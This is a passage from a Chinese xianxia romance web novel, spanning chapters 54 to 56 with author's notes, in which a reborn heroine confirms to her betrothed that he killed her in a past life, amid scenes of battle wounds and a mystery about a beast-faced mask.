迟笙也站了回来,和她一起靠着石狮,她仰头看天,如今日暮,天边都是大团的霞光。 她低声自言自语:“阿姐,如果影杀真的参与了这些事,我们该怎么办?” 越疏棠睁开眼,和她一起看着天际,她安静了许久。 最后,她沉声道:“我加入影杀是为了锄奸扶困,不是为虎作伥,若影杀与我想象中的大相径庭,我也会做我该做的事。” 迟笙挽住她的胳膊,笑嘻嘻道:“那你做什么我做什么,你去哪里我就去哪里。” 越疏棠被她逗笑,抬手揉揉她的脑袋- 天色彻底暗下,一艘艘灵舟驶离鹤阶。 慕夕阙站在正大门处,望向远处被鹤阶庇佑的城池,灯火通明,百姓们并不关心这些世家的斗争,也不关心圣尊落到谁的手中。 在得知祭墟天柱被暂时补上后,他们便欢呼,压在心头的巨石落下。 慕夕阙听到身后有人走来,她并未回头,白衣青年来到她身边。 燕如珩已换了身洁净的白衣,身上的草药味浓郁,应是勉力支撑才得以走路。 “小夕,在等闻少主……不,应当唤圣尊了,你在等他?” 慕夕阙侧首看他。 燕如珩仍笑着:“虽圣尊择了出来,但我阿弟之死你们尚未查出,五日期限还剩四日,不知届时会不会给燕家一个交代,也希望圣尊别借着职务之便徇私才好。” 慕夕阙笑了下,眉眼弯弯道:“我们去救了些人,是柳确的家人,不过如今尚未审问,不知届时会得出什么消息,还望燕家再耐心等候片刻。” 燕如珩神色未变,仍旧沉着,浅笑道:“那是自然,若无事,我便先走了,一路顺风。” 慕夕阙颔首:“你也是,一路顺风。” 她目送燕如珩上了燕家灵舟,消失在天际。 来鹤阶参与竞夺的世家们皆都离去,只剩东浔闻家的灵舟尚停在远处。 慕夕阙等了没一会儿,闻惊遥便从鹤阶出来,她回身看去,少年拾阶而下,衣裳还未换,仍旧血垢满身,他单手执剑,剑柄还有干涸的血迹。 他走下来,目光始终看着她。 慕夕阙大大方方让他看,等他终于来到身前,他们之间隔着一步远的距离,她垂眸,看向他手中握着的圣尊玉牌。 “怎么样,天罡篆之主,鹤阶圣尊这位子可好?” 闻惊遥看着她,看她这身红衣上未干涸的血迹,他抬手轻碰她侧脸上的一道擦伤,问道:“你受伤了,在浮重山可探查到了什么?” 慕夕阙抬手握住他的手腕,笑盈盈道:“查到了啊,玄武确实被囚禁了,我本想着借今日将天罡篆非鹤阶之物一事捅出,如今想想确实不是时机。” 她侧身看向千层台阶之上,把守森严的鹤阶,里头似乎有人在看她。 慕夕阙在笑,笑意却未达眼底。 “再等等,再等一段时日。” 她有计谋,闻惊遥知晓。 可慕夕阙不说,她想做什么,似乎并不打算告诉他。 闻惊遥并未多问,眼睫垂下,牵住她的手朝灵舟走去。 闻家有两艘灵舟停在远处,柳家人还在灵舟上。 闻家长老带弟子去支援闻惊遥后,便直接带着柳家人一同来了鹤阶,若单独护送,恐回去的路上会有所埋伏。 两人走上灵舟,并未去看柳家四口人。 慕夕阙问道:“你要沐浴吗?” 闻惊遥道:“不必了。” 灵舟在此刻腾飞,驶离鹤阶,而他牵住她的手,两人坐在甲板上,迎面的风垂在身侧,将及腰的青丝吹起,青衣和红衣也随之交缠在一起。 慕夕阙敏锐觉得,闻惊遥似乎情绪不对,从她今日下午见他之时,他便不太对劲。 “你在想什么事情?”慕夕阙问道。 闻惊遥并未看她,他的侧脸挺拔,长发仅用一根布带束成马尾,鬓边的发略显乱了几分,却仍挡不住出尘的清姿。 他低头,看着甲板,温声道:“夕阙,我有些累了。” 慕夕阙皱眉,她鲜少听闻惊遥说累,这人格外能抗事。 两个人坐得很近,闻惊遥仍低着头,手中的圣尊玉牌玉质温润,雕刻的云鹤纹路栩栩如生,他看着那枚玉牌,看着那只云鹤。 “我只是有些累。” 慕夕阙淡声道:“去歇息会儿吧,我手握十二辰,你有天罡篆,他们不敢追上来的。” 闻惊遥却并未说话,他不看她,也不说话,更不去休息,只是低头看着手中的圣尊玉牌,有那么一瞬间,慕夕阙以为他睡着了。 她侧首看过去,却瞧见他抖动的长睫。 他没睡着,只是在发呆。 闻惊遥今日情绪确实不对,慕夕阙看得出来。 她站起身,对他道:“你若是不去休息,我便进去了,外头很冷。” 闻惊遥并未说话,仍坐在甲板上。 慕夕阙不再劝,扭头就去了船舱内,她作为慕二小姐,闻家未来的家主夫人,能独占一间房舍。 正要关上门,一双骨节分明的手握住了门框,慕夕阙一个没注意,木门直接夹住闻惊遥的手,顷刻间夹出红痕。 慕夕阙松手,抬眸瞪过去:“你干什么,不怕把手夹断?” 闻惊遥却分毫不在乎指缝的伤,他比她高了一头,此刻垂眸看她,走近船舱内,闻家灵舟并不如慕家的那般气派奢侈,房舍也不大。 他一进来,这屋子都狭窄缩小了许多。 闻惊遥关上门,低头看她:“断了你会心疼吗?” 慕夕阙一愣,眉头紧皱:“说什么呢?” 闻惊遥看着她:“我伤得很重,寒霞镇打了一场,又孤身瞬移一路跑来鹤阶,进天罡篆后与燕如珩打,与天罡篆打,腿骨碎了,肩骨碎了,经脉断了三成,你可有看到?” 慕夕阙退后一步,她能看出闻惊遥的伤重,可他走路、说话都无异样,甚至站了两个时辰都无事,脊背仍旧笔直。 “从今日酉时见面,夕阙,你没有看过我。”闻惊遥走近了些,“我能自欺欺人一阵子,我以为也能骗我自己一辈子,可是夕阙,我骗不了。” 他步步紧逼,挺拔的身影牢牢堵住她的路,一路将她逼到窗边,直到腰后抵着窗柩,慕夕阙无路可走,他才终于停下。 闻惊遥道:“燕家和鹤阶确实埋伏了,你猜得对,有人替我们杀了他们,闻家长老带兵来得迅速,他们乘坐闻家灵舟前来鹤阶,蔺公子和姜姑娘装扮成你我的模样,我走了小路,一路无碍。” 依他与慕夕阙的计划,他去解救柳家人,假意入局,燕如珩必能看出来他们是故意为之,届时也定会猜到闻家会兵分两路,淆惑视听。 或许燕如珩和鹤阶那位也未想到,他们确实打着混淆的意思,却分了三路走。 鹤阶之主亲自去截杀“慕夕阙”和“闻惊遥”,而闻惊遥独身走小路,慕夕阙则提前出发,趁鹤阶无人孤身闯入浮重山。 “夕阙,你从闻家出来后并未直接去鹤阶,那些埋伏是你杀的,对吗?” 慕夕阙冷眼看着他:“没有,我去了鹤阶。” 闻惊遥安静看着她,慕夕阙也毫不避讳与他对视,眸底并无半分情绪。 他忽然抬起手,指腹轻触她的眼尾。 “你的眼睛很漂亮。” 微凉的指腹触碰她的眼睛,闻惊遥握剑时候格外有力,这世上能让他收敛所有力道轻柔对待的人,只有慕二小姐。 “你的眼睛太漂亮了,它看着我的时候虽然并无爱意,但有信任和依赖,以至于那夜我看到这双眼睛,我看到里面满满的杀意之时,并未认出你,或许是易容术改变了这双眼睛的轮廓,但更可能的,是我潜意识不想认吧,夕阙怎么可能会恨我呢?” “那是我第一次骗我自己,我告诉我自己,慕夕阙怎么可能会想杀我,那一刀绝不可能是她捅的。” 慕夕阙垂下的手悄然攥紧,她被闻惊遥困在怀里,他今日有些莫名其妙的强势,好似受到了极大的冲击般。 “第二次我确认那是你了。”闻惊遥捧住她的脸,他弯腰看着她,看她逐渐冷漠的眼睛,“我接受你利用我引开鹤阶的人,强迫自己不要在乎你毫不留情的杀招,虚情假意也好,利用也罢,我都可以不在乎的。” “可我怎么能不在乎呢?”闻惊遥低头,与她额头相抵,他的手在抖,“喜欢一个人,怎么能不在乎她伤害自己呢?” 慕夕阙别过头,冷声道:“你发什么疯,你说的我都听不懂。” 闻惊遥看着她的侧脸,她冷漠又冷静。 “夕阙,你其实也不想再演下去了吧,在一个自己恨的人身边伪装,这太难了,也太委屈你了。” 慕夕阙的指甲几乎要嵌进掌心,她漠然看着桌上装饰的瓷瓶,上面勾勒的花纹让她眼晕。 闻惊遥握住她的手,将她攥紧的手指一根根掰开,他轻碰她掌心掐出的甲印。 “我在夺得天罡篆的时候,好像看到了你,以及我。” 慕夕阙倏然看过去,眉头紧拧。 闻惊遥微抬眼帘,与她对视:“那像你,又不像你,那个人像我,也不像我。” 慕夕阙怎么可能瘦成那副样子,眼神那般冷漠? 闻惊遥又怎么会站在高处,冷眼看她被绞杀? 他有一瞬间甚至觉得那是器灵给予的心魔关,可那快到只有一息功夫,眨眼间悄然流去,他拿到天罡篆试图再次看到方才的“心魔关”,却又什么都看不到。 “拿到天罡篆后我并未急着出来,我在里面想了很久,我这辈子追着你走,我视你如珍宝,如大道,我从未行差踏错,我做错什么了呢?” “我做错了什么,让你恨我恨到想要杀我,恨到我们青梅竹马十七年的情分都烟消云散,这段时日我一直在想,我想不通,也不觉得你会因为一些我未曾注意的小事而恨我。” 慕夕阙脾气爆,但心肠很软,且最明事理,她会因为一些小事发脾气,但不会恨,更不可能伤害他。 “你知道闻时烨提前要杀蔺公子,你知道千机宗早已和鹤阶勾结,妄图谋害周夫人,你知道周夫人是任前辈的妹妹,你会影杀和海外仙岛的手段,你的易容术那般逼真,你根本不像夕阙。” 闻惊遥握紧她的手,他堵在她身前,看到她的眸底彻底凝成冰霜。 可他仍在说:“可你就是夕阙,没有被夺舍。” 灵舟忽然颠簸了下,慕夕阙身子不稳,往前栽了一步,闻惊遥顺势搂住她,他弯腰抱紧她,不顾自己碎裂的肩骨和腿骨,不顾自己满身的伤和血垢是否会染脏她的衣裙。 他低头,高挺的鼻梁埋进她的颈窝,嗅到她身上馥郁的香。 她的体香和温度都凝实为利刃,几乎在切割他的心肺。 慕夕阙看到他拿出了天罡篆。 “闻惊遥,放手!” 闻惊遥却动也不动,按住挣扎的慕夕阙,抬手祭出天罡篆,强大的青光溢出,窜入慕夕阙的眉心,而他抬起头,额头与她相抵。 只需要片刻,闻惊遥抬起头,而慕夕阙也挣扎出来。 她冷眼看着他,看着悬停在虚空中的天罡篆。 闻惊遥忽然笑了两下,高束的马尾一颤一颤,有几缕长发从肩头垂在身前,他挺拔的脊背再一次缓缓弯曲了些。 他看到自己的泪花跌落在地,砸在木板上,将那块木板浸湿。 “你的魂体上有天罡篆的灵印,有人对你用过天罡篆。” 闻惊遥的声音哽咽,他抬起颤抖的手捂住自己的眼眶,他不敢看她,只能近乎祈求地问:“是我吗,真的是我吗?” 如果真的是他,她所有的恨,都有了原因。 作者有话说:小慕救随泱的时候,小闻就彻底认出来了,第一次小慕杀闻时烨的时候,小闻只是怀疑,他认出来小慕主要是靠一种本能,太熟悉了。 第55章 第 55 章 “我真的恨死你了……”…… 闻惊遥是很聪慧的一个人。 他三岁早慧, 颖悟绝伦,四岁便入清心观,十三州律法、闻家家规熟记于心, 倒背如流。 于剑术一道上,他更是稀世之才, 剑法看一眼便能熟记于心, 十一岁便能在论道大会上夺冠,此后蝉联四年。 他这么聪慧,他又怎么可能看不出来她的虚与委蛇, 觉察不出她若有若无的恨意和杀意? “夕阙……夕阙,你说句话……你说句话……” 时隔几日,闻惊遥再次体会到了父亲死的那日, 痛彻心扉的感觉。 愧疚与难过像座巨山, 压在他的脊背上, 将他压得胸腔闷疼, 身子佝偻, 他只能捂着自己的眼睛,试图挡住自己的眼泪,却又根本遮不住半分。 慕夕阙冷眼看着他。 以他的脑子, 能猜到这么荒谬诡异的事情并不难,他能迅速接受倒是出乎她的意料。 对十七岁的闻惊遥来说, 这是灭顶的打击, 他此刻的绝望和悔恨,她前世的体会比他更深。 “你想让我说什么, 你不是都猜出来了吗?” 这一句话打碎了闻惊遥仅剩的一点希冀。 慕夕阙走近他,少年脊背微弯,颤抖的手挡住自己的眼眶。 她盯着他, 近乎一字一句在说:“是啊,你杀了我,你联合鹤阶围困我,你冷眼看他们封了我的修为,你将我关进云川牢狱整整十年,十年你都没来看过我一次,到最后,你用诛魂阵诛了我的魂。” 她每说一个字,闻惊遥的脊背便弯一些。 慕夕阙瞥了眼尚悬在虚空的天罡篆。 “你用的就是天罡篆,我二十七岁那年慕家灭门,可你做了什么呢,你一直在阻拦我查这些事,你害我没能救下长姐,你出动圣尊令满十三州追杀我,我前脚杀个人,你后脚就追来,闻惊遥,我到底做错了什么,让你这么锲而不舍地坏我的事?” “你可以不帮我,你就不能不管这些事吗,你总要坏我的事,我为家人、为挚友报仇有何错!” 慕夕阙站至他身前,她看到从他的指缝中溢出的泪花。 她只能问:“我到底做错了什么,满门被灭,挚友对我落井下石,未婚夫对我拔刀相向,想要保护我的人几乎死了个干干净净,想要杀我的人却活得潇潇洒洒,你告诉我,我做错了什么呢?” 闻惊遥呕出了一口血。 他弯着腰,发尾垂在身前晃晃悠悠,粘稠的血丝中夹杂了血块,是他重伤的肺腑中破碎的血肉。 他看着自己的眼泪打在血滩中,看着慕夕阙倒映在木板上的影子。 闻惊遥听到她用略颤的声音,咬牙切齿说:“我当然恨你啊。” 她怎么能不恨呢? 屋内安静很久,慕夕阙看着他佝偻的脊背,他吐了好多血,怕血迹溅到她身上,只能捂着嘴咳嗽,可血却能从指缝、掌心边缘溢出,一滴滴落在地上,夹杂了他破碎的肺腑。 他伤得很重,在天罡篆里便已经重伤,他愣是撑着一口气逞强到现在。 慕夕阙冷冷看他一眼,从他身侧绕过,开门便要往外走。 门刚开,身后传来急促凌乱的脚步声,有人从身后压上来,刚开的门再次被关上,他握住她的手腕用力,将她转了过来。 闻惊遥堵在身前,满手的血迹被他方才在青衫上蹭掉,却仍有些未干涸的血,他虚虚捧住她的脸,近乎祈求在看她。 “你报仇了吗,你杀了他吗?” 慕夕阙背靠门板,身前又被他堵着,她冷眼看着他。 闻惊遥的声音几乎也要碎了,他咬牙切齿地说:“你怎么能死在他前面,你应该捅死他啊,你应该想尽办法捅死他,碎了他的魂,将他千刀万剐挫骨扬灰,夕阙……” 他的声音忽然低了,闻惊遥弯腰,额头与她相抵,他闭上眼,长睫上早已挂满泪珠,哽咽问:“我……我怎么会那么对你呢……” 无人知道他怎么会这么做,慕夕阙花了五年,失去长姐后才说服自己,闻惊遥确实变了。 她别过头,想推开闻惊遥,可这人明明重伤,在此刻却又有无尽的力量,他死死堵着她,抱紧她,将脑袋埋进她的颈窝。 他亲着她的脖颈,哽声祈求:“那你现在杀了我,你现在报仇好不好?” 他的吻是烫的,眼泪也是烫的,整个人身上都是浓重的血腥味,像只小狗一样在她颈窝拱来拱去,语无伦次,完全没有闻少主的半分高洁端雅。 在他身上的血几乎将她的衣裙也染透,她的手中被塞入了一把匕首后,慕夕阙终于恼了,动用灵力一把推开他。 慕夕阙站在门前,皙白的脖颈间是他身上的血迹,偶尔可见几块斑红,是他神志不清吮出的痕迹。 她抬手擦去脸侧蹭上的血迹,不同于闻惊遥的崩溃,她反而冷静又冷漠。 “我当然会杀你,但不是现在,天罡篆在你手中,闻惊遥,我有要做的事情。” 她转身,不再看他一眼,扔下那把匕首后走了出去。 这屋内只剩他一个人,闻惊遥的脊背越发佝偻,重伤的肺腑牵扯出了剧痛,破碎的腿骨在此刻好似也再支撑不住他的身体,他单手撑在桌面上,低头咳嗽,看自己碎掉的肺腑一同被咳了出来。 他有那么一瞬间,觉得这世界格外荒谬。 闻惊遥怎么会伤害慕夕阙呢? 闻惊遥便是死,也绝不会对她动一刀一剑。 他恍惚间笑出来,又咳出了更多的血,疼痛反而让他更加清醒,清醒听到自己的道心在碎裂,他要闯的这条天荆地棘的大道,在他面前一点点崩塌。 他闻惊遥怎么会妄图救世,妄图肃正乾坤,诛戮奸佞,还所有人一个清正的世道? 他分明才是那个最肮脏丑恶、利欲熏心的小人- 灵舟落至闻家主宅外。 朝蕴和庄漪禾都等在宅外,见慕夕阙率先下来,两人一同迎上去。 “小夕。”朝蕴握住她的手,看到她身上的血迹皱了皱眉,“你受伤了?” 慕夕阙摇头:“没有,闻惊遥的血。” 朝蕴脸色一僵,庄漪禾眉心紧蹙,不等舟上的人全数下来,她已经匆匆上舟。 慕夕阙推开朝蕴的手:“阿娘,我实在有些累,先回去休息。” “……好。”朝蕴敏锐觉得,她似乎有些不对劲。 慕夕阙绕过她离开,抬步往画墨阁走,* 路上碰到匆匆去往主宅门前迎接的蔺九尘和姜榆,她也只是快速寒暄过后寻个理由回去。 一路走至画墨阁,关上房门,慕夕阙熟练去到水房,将自己这一身泥泞血污洗去,待沐浴换衣过后,已经深夜。 主殿内并未点灯,她坐在妆奁前,看着铜镜中倒映出的自己,身形劲瘦,却不是前世那般消瘦,如今的慕二年轻强大,过得也好。 闻惊遥说她的魂体有天罡篆的灵印。 慕夕阙皱眉,死前她确实感知到自己的魂魄在被撕碎,那种彻骨的痛她重活一世也忘不了,可这件事也疑点重重。 既是诛魂阵,连轮回的机会都无,她却还能活下来,重回过去,甚至连魂体上还有天罡篆的灵印。 就像她也在想,如果回溯时光,为何她会有前世的记忆,而其余人都无,只有她自己记得这些事。 她不觉得是闻惊遥促成了这一切,那些年他的冷漠无情让她早已对他没有半分信任,看透了这个人。 谁都可能会救她,唯独闻惊遥不会。 桌上的玉符亮了瞬,慕夕阙低头看去,是师盈虚的传信。 ——夕阙,来一趟,我在关押任前辈的宅院中,有事和你说。 慕夕阙起身,穿上外衫朝外走。 任风煦关在闻家主宅的东南侧,把守森严,里外都有阵法。 看守的弟子们见她来了,带她进入阵法,不大的院落里只有一间寝殿,任风煦便关在其中。 屋内不仅师盈虚在,随泱和徐无咎也在,见她来了,三人一同看过来。 随泱满不正经道:“呦,二小姐此番去闯鹤阶,查到什么了?” 慕夕阙也不避讳,直接道:“鹤阶的玉灵玄武被囚禁了。” 三人脸色齐齐一沉,随泱更是眉头紧蹙:“玉灵强大凶悍,谁能囚住它们?且这些玉灵是福泽的象征,囚禁玉灵,难道不怕业障满身,渡劫之时遭天谴吗?” 慕夕阙道:“鹤阶那位神出鬼没、不知身份的主子囚禁了它,他应当有几千岁起步,或许他的长寿也有玄武助力。” 纵使提前想过,玄武处境或许不好,如今仍在庇佑鹤阶应当是不得已,却无人猜到,它竟然是被囚住了。 慕夕阙不欲多说这些,看向被无渊锁捆住的任风煦:“你们唤我前来做什么?” 师盈虚上前来挽住她的胳膊道:“徐无咎方才试图给前辈换衣,你看他的脊背上。” 她拉住慕夕阙绕至任风煦身后,他脊背的那一块衣服被徐无咎拿剪刀剪了下来,如今裸露已成苍灰色的肌肤,除却修士身上历练除邪留下的伤疤,慕夕阙并未看到什么。 徐无咎上前,单手蕴出灵力。 慕夕阙眉头一扬:“你不是毒素未清不能动用灵力吗?” 徐无咎并未看她,回道:“师大小姐给了我一颗定魂丹,毒素已暂时压制。” 定魂丹,整个十三州只有十颗,在师盈虚去年生辰之时,师家家主万金购入两颗,都给了自己这独女。 慕夕阙看向师盈虚,后者一脸心虚,别过头嘟囔道:“我也不是白给的,我让他给我打一副暗器。” 徐无咎的炼器术在十三州名列前茅,他锻的武器,哪怕是一柄刀鞘都足以令十三州抢疯了头。 慕夕阙点点头,并未多说,看徐无咎挥出灵力。 过了片刻,任风煦的脊背上竟然浮现出暗金色的纹路,慕夕阙敛眸去看。 徐无咎收回手,说道:“隐灵术,我义父自创的秘法,可将一些东西融入到某个器物,或者自己的身体中。” 慕夕阙皱眉:“任前辈在自己身上刻下了这图案?” 徐无咎道:“嗯,应是时间紧迫,不得已为之,我猜测,或许是他被埋伏,祟化的前一刻将那些东西刻在了自己身上。” 慕夕阙凝眸看着他脊背的纹路,似乎时间太过仓促,任风煦来不及画得仔细,那瞧着像是个灵兽的模样,她看着那只灵兽,忽然眯了眯眼。 见她这副模样,随泱道:“你也看出来了吧,那黑衣男子上次来东浔主城刺杀闻少主时戴的面具,是只兽头的模样。” 师盈虚道:“或许任前辈是在向我们指认,残害他的凶手是那个人?” “应当不仅如此,义父在见我最后一面时便告知过我,鹤阶有个我们都不知晓身份的人在,他没必要再说一次。”徐无咎摇摇头,“我觉得义父强调的,并非那个戴面具的人,而是这张面具。” 是这张面具上的兽脸。 四个人盯着任风煦脊背的兽脸看,不像老虎,不像狮子,也不像麒麟等等灵兽,他们都学过《玉灵录》,知晓每个玉灵的体貌特征,却无一只能与这只对上。 师盈虚开口道:“也不是所有山灵都选择成为玉灵了,有些山灵至今还栖息在山谷内,偶尔还有人见过灵兽出山呢。” 徐无咎面无表情,眸色阴沉:“鹤阶忽然对义父出手,应是他查到了格外重要的东西,义父化祟前只匆匆留下这张兽脸,或许这便是鹤阶要对他出手的原因,可鹤阶的玉灵是玄武,玄武不是这般模样。” 他们都是博学之人,徐无咎更是自小在海外仙岛长大,听闻更多,却也认不出这是什么灵兽。 他看向慕夕阙,她仍在盯着那张兽脸看。 徐无咎问道:“你说那个人的寿数很长,有没有可能是几千年前的大能?” 慕夕阙抬眸看他:“是又怎么样,你要怎么查,玄武说它是七千年前被囚禁的,不代表那个人只有七千岁,这将近万年来的大能数不胜数,如今我们连他的正脸都未见过。” 徐无咎沉默,屋内再次寂静。 任风煦闭目,似乎被下了灵术昏睡,无渊锁捆缚着他,而慕夕阙看着他苍灰的脸,垂下的手悄然攥紧。 若任风煦不查慕峥的事,或许不至于落到这步田地,他对千机宗忠心耿耿,为报上任宗主的恩情,对应逐更是舍命相护,因此鹤阶和千机宗先前都未想过除去他。 可他偏偏查到了这么多东西,那便留不得活口了。 慕夕阙别过头,呼出心头的郁结之气,她今日一整日心情都低沉,只觉得这屋里都让人喘不过气。 她最后看了眼任风煦脊背的兽脸,转身说道:“鹤阶频频受挫,天罡篆又落到了闻惊遥手中,他们应当还会有所动作,祭墟动荡,想必过些时日等闻惊遥伤好,十三州便会请我和他一同去镇压祭墟。” 师盈虚皱眉:“那你要去吗?” 慕夕阙笑了声:“我若是拒绝,来日十三州就能攻上琼筵山了,那些人的唾沫星子能将我们慕家淹死,自是要去。” 她顿了顿,看向随泱,眸色渐冷,声音也沉了些:“燕青来身死一事尚未解决,他的死应当不仅是为了对慕闻两家设陷,燕如珩心思狠辣,或许燕青来对他产生了威胁,我需要你帮我个忙。” 随泱眉梢一挑:“你怎么光逮着一个人薅,我都帮你几次了?” 慕夕阙面无表情:“帮不帮?” 随泱双手投降:“帮帮帮,你说,不作奸犯科的忙都帮。” 她既然未开口让徐无咎和师盈虚参与,那便是有旁的安排,两人都知晓,因此并未多言。 几人扭头看向任风煦的脊背,那张用灵力逼出的兽脸轮廓狰狞,一双兽瞳硕大,在那张脸上有些出奇的诡异,好似那双眼睛正在看着他们,虎视眈眈。 竟连《玉灵录》中都未记载这张兽脸- 一盆盆血水被端出,水面上还飘着破碎的血块,庄漪禾背过身,喉口宛如堵了个东西般,她喘不过来气,望着远处的雾璋山,望着镇守东浔的青鸾。 她只能暗自祈求,青鸾能保闻惊遥平安,保这个孩子再一次活下去。 院内站了不少人,朝蕴也叹了口气,抬手轻抚庄漪禾的脊背,无声安抚。 蔺九尘和姜榆并肩站在院门外,看着院里聚了十几个医修,从屋内进进出出,两人沉默,他们也帮不上忙。 一个医修从屋内走出,对庄漪禾道:“少主这一月来新伤旧伤不断,根骨损伤,此次参与竞夺天罡篆,骨裂有十几处,内伤分外严重,经脉断了三成有余,而且……” 医修支支吾吾,眉心紧蹙,似乎不解。 庄漪禾匆忙问:“他怎么了?先生但说无妨。” 医修道:“少主心脉损伤严重,像是心境有碍,备受打击,跌落不少。” 闻家修行以心境为根本,因此闻惊遥从小就要去清心观里耐霜熬寒,受尽苦楚,他的心境是整个闻家鲜少有人能比之的坚定,这让他的修为节节攀升,进境迅速。 如今医修说,他的心境跌了。 “阿禾!” 庄漪禾险些没站稳,朝蕴赶忙接住她。 庄漪禾低声呢喃:“我不该让他去夺天罡篆的,你说我是不是不该让他去……” 朝蕴哑口无言。 闻惊遥去夺天罡篆的意图他们都知晓,修士为道,这并无错。 医修叹了口气,转身进屋,接着疗愈。 站在院外的姜榆看得心里颇为不是滋味,低声道:“师兄,闻少主这都迈进鬼门关了,师姐不知道吗,怎么都不来看看?” 蔺九尘薄唇紧抿,不知该如何回姜榆。 姜榆被蒙在鼓里,蔺九尘可是能看出慕夕阙对闻惊遥的敌意。 慕夕阙怎么可能会不知道呢? 她只是不想来看。 而朝蕴似乎也觉察出了这些,她安抚好庄漪禾的情绪,等到天亮也未见慕夕阙来。 朝蕴转身朝外走,路过蔺九尘和姜榆时冷声道:“去将小夕给我唤来。” 蔺九尘默了瞬,随后拱手道:“是。” 慕夕阙被唤来之时,十几个医修已经止住闻惊遥肺腑中不断咳出的血块,一瓶瓶生肉补疮的灵丹被用完,他们正在挨个用灵力替闻惊遥接上经脉。 朝蕴站在院外,似乎在等她来。 慕夕阙走过去,神色坦然:“阿娘,您唤我。” 朝蕴眉头微蹙:“你与惊遥闹什么矛盾了?” 慕夕阙耸了耸肩:“无事,吵了个架。” 朝蕴走上前拉住她,压低声音道:“吵架就吵架,你们都多大了,日后是道侣,是要扶持彼此走一辈子的,你知道前半夜惊遥的脉搏散了三次吗?再吵架,也得分场合。” 那三次将庄漪禾吓得都说不出话了,呆呆站在院里,眼泪成珠子般往下落。 所有人都提着心,生怕一个不注意,里头的人真的没了。 慕夕阙看了眼院内,闻惊遥的小院本就不大,这下站满了人,更显得拥挤。 朝蕴什么都不知道,只当她真的跟闻惊遥吵架了。 她倒觉得有些荒谬了,闻惊遥的命这般大,上辈子她捅过他几十剑吧,招招致命,都没能捅死他,如今朝蕴竟然说,他前半夜去鬼门关走了三次? 见她不说话,朝蕴握住她的手带她进院,边走边说:“你进去看看,惊遥方稳定下来,他重伤你都不来看,传出去鹤阶定也会认为你们感情不睦。” 慕夕阙没拒绝,路过庄漪禾时,她回头看了一眼。 那个素来沉稳的女子熬了一整夜,眸底暗红,脸上还有未干的泪痕,见她看过来,庄漪禾对她牵出笑:“小夕,麻烦你了,惊遥喜欢你,你看看他,想必他醒得快些。” 慕夕阙红唇紧抿,错开庄漪禾恐慌无措的目光,忽然心头一酸。 她深深呼吸两下,不断告诉自己,她没有错,她只是为了保护自己的家人,她只是为前世自己受的苦雪恨罢了。 是闻惊遥先对不起她的。 朝蕴打开门,扑鼻而来的是浓重的药味和血气,让慕夕阙几乎想要呕吐。 她讨厌血气,她最厌恶血腥味。 可朝蕴道:“进去看看他吧,如今状况稳定了些。” 慕夕阙颔首:“嗯。” 朝蕴替她关上门,慕夕阙孤身站在闻惊遥的寝殿内。 说是寝殿都有点夸张了,闻惊遥的住处清寒俭朴,这屋子一眼就能看全,她越过屏风走入内间,一张简单的木床上,青色的被褥中躺着个身着雪白里衣的少年。 慕夕阙站在几步远处,看着闻惊遥苍白的脸,紧闭的眸子,同心玉牌搁置在他的枕边,他从不离手的剑也搁在床榻旁。 剑穗是一枚青色的玉,名唤燕尔,是她送的。 闻惊遥打过许多场架,却一直在小心保护这枚剑穗,它不染尘埃和血迹,仍旧干净。 慕夕阙搬了个木椅坐在榻边一步远处,她靠在椅中,双手环胸,垂眸看着榻上的闻惊遥。 好像记忆中,她就没见过闻惊遥了无生息地躺在榻上的模样,两个人骨子里都有股狠劲,慕夕阙还剩一口气都会拼命咬死对方,闻惊遥只要还能站着就绝不会躺下。 她看了好一会儿,听到院内守着的弟子和医修们大多退去,连朝蕴和庄漪禾也退守在院外了。 慕夕阙不知道自己坐了多久,她低着头,只觉得一阵疲累涌上心头,重生以来她慎之又慎,临深履薄,生怕走错一步都会重蹈覆辙,始终是提着心的。 昏昏沉沉,院里也安静了许多,慕夕阙到最后已经闭上眼。 再次有意识,是身旁有人咳嗽,她闻到了苦涩的药味。 慕夕阙睁开眼,闻惊遥正捂着嘴咳嗽,已竭力克制,却仍是挡不住,高束的马尾垂落在身前,在她面前一晃一晃。 而她已从椅中挪到榻上,床褥内尚有他的体温。 双目相对,慕夕阙眼神冷漠,并未问这是什么状况,她能睡得这般死,自己也实在难以理解。 闻惊遥放下掩嘴的手,擦去唇边的血迹,长睫半敛说道:“抱歉,坐着睡不舒服,我想你过来睡,但吵醒你了。” 慕夕阙坐起身,侧眸去看,窗外天都快黑了,暮色已升起。 闻惊遥坐在榻边,他好似忽然消瘦了些,慕夕阙看着他惨白的脸和挡不住的病气,皱眉道:“天罡篆在你手里,我说过你现在不能死。” “我知道的。”闻惊遥仍旧垂着眼眸,“你需要我死的时候,我定会将这条命给你,在此之前,我会竭力活下去的。” 慕夕阙不再看他,掀开锦被便要下榻。 身后忽然有人倾身过来,一双手臂环住她的腰身,闻惊遥抱住她,胸膛贴着她的脊背,他将下颌枕在她的脊背。 “夕阙,我做了梦,好几次我觉得自己要死了,你的脸就会出现,我梦到十三岁的你,梦到你给我那颗果子,那果子名唤匡恶,我记得那果子的味道,我一直都没忘。” 他抵着她的脖颈,闭上眼,感知她的温度和体香。 “功过不能相抵,我无法为前世的自己辩驳,是我走错了路,是我背叛你,背叛这条大道,如今在我尚未走错前,你想要的天下我陪你一起打,好不好?” 他只穿了件单薄的里衣,又抱得太紧,慕夕阙甚至能感知到他胸腔内那颗心脏的跳动。 闻惊遥蹭蹭她的脖颈,低声道:“在那之后,我引颈受戮,亲手为你递刀,你放心,无人会知道的,只有我们知道。” “只有我们知道,我只会死在你的手中,夕阙,不要心软,也不要委屈自己,你该向我雪恨的。” 慕夕阙被他抱着,这屋里的苦涩药味让她喘不过气,她的前世今生都走得举步维艰,明明慕二小姐最厌恶勾心斗角,如今却必须活成城府深沉之人,方能保全自己的亲人。 “闻惊遥,我恨死你了……” 慕夕阙闭上眼,忽然觉得浑身的力气都散了。 “我真的恨死你了。 作者有话说:小闻的性格从这里开始就会彻底变化,但还是个好人!他的道始终是不会放弃的,跟小慕一样,两个人都是始终心怀大道的[撒花] 来晚了,今天发个红包[撒花]《 》 55-60 第56章 第 56 章 “还好你活着。”…… 从鹤阶下山后, 燕如珩并未回东浔主城,而是乘坐灵舟回了赤敛。 赤敛燕家位于淞溪慕家南侧七千里,万年之前, 燕家执掌十三州刑罚,是当之无愧的名门望族, 连如今十三州沿用的刑律有半数都是他们编撰的。 后来鹤阶平步青云, 逐渐执掌十三州,圣尊更是揽夺了刑罚一责,燕家因着后续几任家主都未有功成而逐渐隐没, 不如当年那般风光。 燕如珩走出灵舟,在将要落地之时脚步踉跄,险些摔下灵舟, 